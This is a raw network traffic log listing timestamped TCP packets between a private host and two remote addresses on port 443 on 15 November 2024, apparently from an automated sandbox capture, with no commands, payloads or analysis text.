Nov 15, 2024 13:19:06.068809032 CET	443	50045	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.068852901 CET	50045	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.068897963 CET	50045	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.069161892 CET	50045	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.069183111 CET	443	50045	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.069199085 CET	50045	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.069206953 CET	443	50045	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.070605040 CET	443	50046	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.070692062 CET	443	50046	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.070990086 CET	50046	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.071458101 CET	50046	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.071479082 CET	443	50046	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.071490049 CET	50046	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.071496010 CET	443	50046	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.073745966 CET	50053	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.073771954 CET	443	50053	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.074074030 CET	50053	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.075061083 CET	50054	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.075088024 CET	443	50054	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.075170994 CET	50054	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.075335979 CET	50053	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.075355053 CET	443	50053	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.075397968 CET	50054	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.075411081 CET	443	50054	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.156450033 CET	443	50050	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.156528950 CET	443	50050	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.156653881 CET	443	50050	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.156723976 CET	50050	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.156913996 CET	50050	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.156930923 CET	443	50050	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.167572975 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.167613983 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.167964935 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.168474913 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.168492079 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.213859081 CET	443	50043	20.109.210.53	192.168.2.7
Nov 15, 2024 13:19:06.213875055 CET	443	50043	20.109.210.53	192.168.2.7
Nov 15, 2024 13:19:06.213948011 CET	50043	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:19:06.213949919 CET	443	50043	20.109.210.53	192.168.2.7
Nov 15, 2024 13:19:06.213995934 CET	443	50043	20.109.210.53	192.168.2.7
Nov 15, 2024 13:19:06.214015007 CET	50043	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:19:06.214127064 CET	50043	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:19:06.214144945 CET	443	50043	20.109.210.53	192.168.2.7
Nov 15, 2024 13:19:06.214154005 CET	50043	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:19:06.214298964 CET	443	50043	20.109.210.53	192.168.2.7
Nov 15, 2024 13:19:06.214332104 CET	443	50043	20.109.210.53	192.168.2.7
Nov 15, 2024 13:19:06.214385986 CET	50043	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:19:06.453218937 CET	443	50051	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.453867912 CET	50051	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.453882933 CET	443	50051	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.454363108 CET	50051	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.454366922 CET	443	50051	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.581809044 CET	443	50051	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.581893921 CET	443	50051	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.581962109 CET	50051	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.582902908 CET	50051	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.582915068 CET	443	50051	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.582925081 CET	50051	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.582930088 CET	443	50051	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.586127043 CET	50065	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.586179972 CET	443	50065	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.586236000 CET	50065	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.586486101 CET	50065	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.586498022 CET	443	50065	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.724040031 CET	443	50052	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.724666119 CET	50052	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.724689960 CET	443	50052	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.725214005 CET	50052	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.725222111 CET	443	50052	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.797768116 CET	443	50053	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.802162886 CET	50053	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.802203894 CET	443	50053	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.802650928 CET	50053	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.802658081 CET	443	50053	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.803199053 CET	443	50054	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.805836916 CET	50054	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.805865049 CET	443	50054	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.806165934 CET	50054	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.806174040 CET	443	50054	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.857500076 CET	443	50052	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.857573986 CET	443	50052	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.857629061 CET	50052	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.859205008 CET	50052	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.859229088 CET	443	50052	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.859246969 CET	50052	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.859253883 CET	443	50052	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.871324062 CET	50066	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.871366978 CET	443	50066	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.871526957 CET	50066	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.899455070 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.911746979 CET	50066	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.911771059 CET	443	50066	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.912277937 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.912312031 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.912766933 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.912772894 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.926040888 CET	443	50053	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.926228046 CET	443	50053	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.926296949 CET	50053	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.926559925 CET	50053	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.926584959 CET	443	50053	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.926600933 CET	50053	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.926609039 CET	443	50053	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.932044983 CET	443	50054	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.932287931 CET	443	50054	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.932333946 CET	50054	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.932353020 CET	443	50054	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.932369947 CET	443	50054	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.932411909 CET	50054	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.932486057 CET	50054	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.932497025 CET	443	50054	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.932522058 CET	50054	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.932527065 CET	443	50054	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.934361935 CET	50067	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.934408903 CET	443	50067	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.934479952 CET	50067	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.934779882 CET	50067	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.934792042 CET	443	50067	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.936052084 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.936100960 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:06.936397076 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.936461926 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:06.936484098 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.060373068 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.060548067 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.060705900 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.113106966 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.113137007 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.113149881 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.113157034 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.161007881 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.161068916 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.161207914 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.164345980 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.164366007 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.325531960 CET	443	50065	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.338859081 CET	50065	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.338880062 CET	443	50065	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.339488029 CET	50065	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.339493036 CET	443	50065	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.491452932 CET	443	50065	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.491554022 CET	443	50065	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.491614103 CET	50065	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.491863012 CET	50065	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.491887093 CET	443	50065	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.491900921 CET	50065	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.491906881 CET	443	50065	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.495177984 CET	50071	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.495234013 CET	443	50071	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.495572090 CET	50071	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.496270895 CET	50071	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.496288061 CET	443	50071	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.692589045 CET	443	50067	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.693196058 CET	50067	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.693224907 CET	443	50067	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.693809986 CET	50067	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.693833113 CET	443	50067	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.694238901 CET	443	50066	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.694571972 CET	50066	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.694600105 CET	443	50066	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.694731951 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.694978952 CET	50066	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.694986105 CET	443	50066	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.695163012 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.695195913 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.695374966 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.695384979 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.826141119 CET	443	50066	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.826164007 CET	443	50066	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.826200962 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.826216936 CET	443	50066	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.826227903 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.826240063 CET	50066	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.826291084 CET	50066	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.826340914 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.826381922 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.826381922 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.826590061 CET	50066	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.826606035 CET	443	50066	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.826622009 CET	50066	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.826627016 CET	443	50066	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.826736927 CET	443	50067	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.826780081 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.826793909 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.826809883 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.826816082 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.826879025 CET	443	50067	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.826920986 CET	50067	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.828752041 CET	50067	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.828772068 CET	443	50067	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.828782082 CET	50067	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.828788042 CET	443	50067	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.830807924 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.830843925 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.830909967 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.831020117 CET	50076	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.831057072 CET	443	50076	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.831116915 CET	50076	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.831163883 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.831176043 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.831202030 CET	50077	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.831223965 CET	443	50077	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.831267118 CET	50077	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.831347942 CET	50077	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.831365108 CET	443	50077	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.831562996 CET	50076	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.831578970 CET	443	50076	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.937896967 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.938472986 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.938503981 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:07.938975096 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:07.938982964 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.068799019 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.068855047 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.068905115 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.068939924 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.068991899 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.069045067 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.069231033 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.069252014 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.069267988 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.069274902 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.072788000 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.072838068 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.073059082 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.073059082 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.073090076 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.220110893 CET	443	50071	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.220791101 CET	50071	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.220833063 CET	443	50071	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.221404076 CET	50071	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.221425056 CET	443	50071	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.348449945 CET	443	50071	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.348481894 CET	443	50071	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.348582029 CET	50071	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.348618031 CET	443	50071	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.348921061 CET	443	50071	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.349014997 CET	50071	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.349014997 CET	50071	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.349014997 CET	50071	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.349046946 CET	443	50071	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.361406088 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.361442089 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.361602068 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.361835957 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.361848116 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.567991972 CET	443	50077	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.568593025 CET	50077	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.568620920 CET	443	50077	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.569264889 CET	50077	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.569269896 CET	443	50077	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.576661110 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.577018976 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.577033997 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.577487946 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.577498913 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.579401970 CET	443	50076	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.579684019 CET	50076	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.579709053 CET	443	50076	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.580142975 CET	50076	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.580153942 CET	443	50076	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.651582956 CET	50071	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.651611090 CET	443	50071	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.696805954 CET	443	50077	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.696969986 CET	443	50077	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.697043896 CET	50077	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.697257996 CET	50077	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.697280884 CET	443	50077	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.697290897 CET	50077	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.697302103 CET	443	50077	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.700854063 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.700896025 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.700973988 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.701122999 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.701133013 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.706770897 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.706934929 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.706995010 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.707072020 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.707088947 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.707098961 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.707104921 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.710063934 CET	50083	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.710094929 CET	443	50083	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.710174084 CET	50083	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.710325003 CET	50083	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.710344076 CET	443	50083	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.711844921 CET	443	50076	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.711859941 CET	443	50076	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.711905956 CET	50076	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.711931944 CET	443	50076	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.712095022 CET	443	50076	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.712143898 CET	50076	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.712162971 CET	50076	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.712173939 CET	443	50076	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.712182045 CET	50076	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.712186098 CET	443	50076	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.714690924 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.714741945 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.714812040 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.714929104 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.714953899 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.812701941 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.813291073 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.813308001 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.813940048 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.813944101 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.943742990 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.943818092 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.943886995 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.944155931 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.944178104 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.944189072 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.944195032 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.948082924 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.948117971 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:08.948219061 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.948904037 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:08.948915005 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.102957964 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.103637934 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.103662968 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.104450941 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.104468107 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.231980085 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.232074976 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.232140064 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.232434034 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.232453108 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.232474089 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.232479095 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.236526966 CET	50089	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.236576080 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.236711025 CET	50089	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.236920118 CET	50089	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.236934900 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.441294909 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.441920996 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.441942930 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.442409039 CET	50082	443	192.168.2.7	13.107.246.45
